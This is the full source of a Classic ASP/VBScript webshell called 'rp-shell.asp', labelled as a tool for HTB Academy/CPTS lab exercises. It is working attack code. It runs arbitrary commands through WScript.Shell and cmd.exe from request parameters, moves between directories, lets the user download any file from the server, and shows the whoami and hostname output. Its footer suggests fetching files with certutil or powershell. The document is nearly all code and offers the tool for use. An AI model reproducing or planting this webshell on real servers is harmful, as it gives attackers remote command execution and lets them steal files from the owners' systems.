rp-shell :: <%= HtmlEnc(bannerHost & "

<%@ Language="VBScript" %> <% ' ============================================================ ' rp-shell.asp — single-file CLASSIC ASP webshell (Rose Pine) ' VBScript — requires the Classic ASP feature on IIS. ' If the target only has ASP.NET, use rp-shell.aspx instead. ' Lab use only — HTB Academy / CPTS ' ============================================================ Option Explicit Dim workDir, output, statusMsg output = "" : statusMsg = "" ' --- working directory (persists via hidden field) --- workDir = Request.Form("wd") If workDir = "" Then workDir = Request.QueryString("wd") Dim fso : Set fso = Server.CreateObject("Scripting.FileSystemObject") If workDir = "" Or Not fso.FolderExists(workDir) Then workDir = Server.MapPath(".") End If ' --- helpers --- Function IsRooted(p) IsRooted = (Len(p) > 2 And Mid(p, 2, 2) = ":\") Or (Left(p, 2) = "\\") End Function Function RunCmd(c, wd) Dim sh, ex Set sh = Server.CreateObject("WScript.Shell") Set ex = sh.Exec("cmd.exe /c cd /d " & Chr(34) & wd & Chr(34) & " && " & c & " 2>&1") Do While ex.Status = 0 If ex.StdOut.AtEndOfStream And ex.StdErr.AtEndOfStream Then ' still running — avoid busy spin End If If Not ex.StdOut.AtEndOfStream Then Exit Do Loop RunCmd = ex.StdOut.ReadAll() & ex.StdErr.ReadAll() End Function Function HtmlEnc(s) Dim r : r = Server.HTMLEncode(s & "") HtmlEnc = Replace(r, vbCrLf, vbCrLf) End Function ' --- file download: ?get= --- Dim dl : dl = Request.QueryString("get") If dl <> "" Then Dim full : full = dl If Not IsRooted(dl) Then full = workDir & "\" & dl If fso.FileExists(full) Then Dim stm : Set stm = Server.CreateObject("ADODB.Stream") stm.Type = 1 : stm.Open stm.LoadFromFile full Response.Clear() Response.ContentType = "application/octet-stream" Response.AddHeader "Content-Disposition", "attachment; filename=" & fso.GetFileName(full) Response.BinaryWrite stm.Read stm.Close Response.End() Else statusMsg = "download failed: not found -> " & full End If End If ' --- command execution --- Dim cmd : cmd = Request.Form("cmd") If cmd = "" Then cmd = Request.QueryString("cmd") If cmd <> "" Then Dim t : t = Trim(cmd) If LCase(t) = "cd" Or LCase(Left(t, 3)) = "cd " Or LCase(Left(t, 3)) = "cd\" Then Dim target : target = Trim(Mid(t, 3)) If LCase(t) = "cd" Then target = "" If target = "" Then output = workDir Else Dim newDir : newDir = target If Not IsRooted(target) Then newDir = fso.GetAbsolutePathName(workDir & "\" & target) If fso.FolderExists(newDir) Then workDir = newDir : output = "" Else output = "The system cannot find the path specified." End If End If ElseIf LCase(t) = "cls" Or LCase(t) = "clear" Then output = "" Else output = RunCmd(cmd, workDir) End If End If ' --- banner identity --- Dim bannerUser, bannerHost On Error Resume Next bannerUser = Trim(RunCmd("whoami", workDir)) bannerHost = Trim(RunCmd("hostname", workDir)) On Error GoTo 0 If bannerUser = "" Then bannerUser = "?" If bannerHost = "" Then bannerHost = "?" %> rp-shell :: <%= HtmlEnc(bannerHost & " :: " & bannerUser) %>

remote <%= HtmlEnc(Request.ServerVariables("REMOTE_ADDR")) %> :: server <%= HtmlEnc(Request.ServerVariables("SERVER_SOFTWARE")) %> :: host <%= HtmlEnc(Request.ServerVariables("SERVER_NAME")) %>:<%= HtmlEnc(Request.ServerVariables("SERVER_PORT")) %>

cwd :: <%= HtmlEnc(workDir) %>

<%= HtmlEnc(output) %>

<%= HtmlEnc(statusMsg) %>

classic ASP / VBScript — use rp-shell.aspx when only ASP.NET is installed :: up/down arrows = command history :: no upload form (multipart in pure VBScript is painful — use certutil/powershell to fetch files) :: delete this file during cleanup